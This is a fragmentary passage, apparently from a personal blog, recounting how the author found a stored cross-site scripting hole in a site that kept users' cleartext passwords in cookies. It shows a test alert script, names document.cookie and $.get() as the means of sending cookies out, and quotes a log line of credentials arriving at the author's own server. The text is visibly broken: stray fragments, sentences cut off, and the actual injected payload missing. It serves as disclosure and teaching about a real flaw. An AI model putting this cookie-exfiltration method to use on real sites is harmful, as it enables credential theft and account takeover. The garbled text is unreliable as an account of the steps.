show all in series
.hide() on all of the
.show() on those elements) and everything's back to normal.
Cookies and session IDs like this come in all shapes and sizes. Typically, this data is submitted to the server by the browser alongside every request. The server checks this data, confirms that it matches expected values, and then serves the content (or rejects the request if the authentication data was invalid). In the vulnerable application I discovered, there was a secondary security concern: session management was handled by two cookies,
password, whose values were simply the cleartext email and password of the requesting user with no sort of encoding applied. That's not a good idea, but you'll find this sort of thing out in the wild surprisingly often (get the EditThisCookie Chrome extension and be amazed). Even without an injection vulnerability this leaves you very open to a wide range of other issues, like having your users' passwords sniffed by some jackass running wireshark when you try to log in on a public wifi connection.
<script>alert('hello')</script> caused an alert box to pop up when the main user index page was loaded. Since the script was embedded in the page, it would execute every time for every user. That's a problem.
You can access the cookies for a given document with
document.cookie, and you can send a
get request with
$.get(). Knowing this, I entered my "display name" on the vulnerable site as
Checking the server logs for souldeux.com revealed the following request:
"GET /email@example.com%20password=mypassword HTTP/1.1" 404 177 "http://vulnerablesite.com" "Mozilla/5.0"